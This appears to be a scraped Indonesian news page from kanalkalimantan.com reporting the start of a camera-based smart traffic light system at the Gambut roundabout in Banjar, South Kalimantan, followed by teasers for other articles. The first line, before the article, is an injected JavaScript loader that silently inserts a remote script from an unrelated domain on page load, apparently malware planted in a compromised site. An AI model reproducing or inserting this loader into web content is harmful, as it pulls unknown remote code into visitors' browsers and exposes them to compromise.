(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Traffic light atau Alat Pemberi Isyarat Lalu Lintas (APILL) di Simpang Empat Bundaran Jalan A Yani Km 17 Kecamatan Gambut, Kabupaten Banjar, Provinsi Kalsel resmi beroperasional sejak Kamis (2/2/2023).
Pantauan Kanalkalimantan.com pada Jum’at (3/2/2023) siang, tiga traffic light telah dipasang di sebelah kanan, kiri dan atas jalan.
Masing-masing tiga buah lampu baru itu dipasang di empat kaki simpang, yakni dari Jalan Ahmad Yani arah Banjarmasin, Jalan Ahmad Yani arah Banjarbaru, Jalan Gubernur Syarkawi dan Jalan Terminal Gambut Barakat.
Adapun APILL Simpang Empat Tugu Pancasila di Km 17 ini memiliki tiga fase waktu siklus APILL. Pada siklus hijau fase satu hanya terjadi pada Jalan Ahmad Yani yang akan menuju ke arah Banjarmasin dan Banjarbaru.
Baca juga: Klaim Angka Stunting Turun di Kota Banjarmasin
Fase dua terjadi pada Jalan Ahmad Yani yang akan belok kanan atau menuju ke arah Jalan Terminal dan Jalan Syarkawi.
Sedangkan fase tiga terjadi pada Jalan Terminal Gambut Barakat dan Jalan Gubernur Syarkawi untuk ke semua arah.
Sementara itu untuk kendaraan yang ingin menuju ke arah kiri, maka dipersilahkan agar jalan terus.
Kepala BPTD Wilayah XV Provinsi Kalsel, Zulmardi menyebutkan, jalur simpang empat bundaran Gambut menjadi salah satu lokasi padat kendaraan bermotor antar kabupaten/kota. Belum lagi lalu lalang angkutan kota dari Terminal Gambut Barakat.
Baca juga: Gonta-ganti Pelatih di Musim Belum Tuntas, Barito Putera Lepas Rodney Goncalves
Hal itu membuat traffic light baru itu dirancang dengan menggunakan APILL Smart System.
Tujuan utamanya meminimalisir frekuensi dan tingkat kecelakaan, serta menyediakan pergerakan lalu lintas yang teratur.
“Sistem itu dapat dikontrol dan diatur dari jarak jauh, menjalankan lampu lalu lintas secara otomatis fengan mengambil input data lalu lintas berupa data kepadatan kendaraan melalui sensor kamera,” ujar Zulmardi.
Sistem ini ternyata membuat pembagian durasi lampu lalu lintas menjadi lebih tepat.
Ruas jalan yang padat pun akan mendapat durasi lampu hijau lebih lama. Sedangkan saat ruas jalan lenggang mendapat penyesuaian sehingga mengurangi kepadatan lalu lintas.
Baca juga: Pemkab Banjar Berkomitmen Implementasi Manajemen Risiko
“Secara keseluruhan traffic light berjalan otomatis dan dapat juga dimonitoring secara real time melalui desktop maupun smartphone,” jelas dia. (kanalkalimantan.com/wanda)
Reporter: wanda
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
This website uses cookies.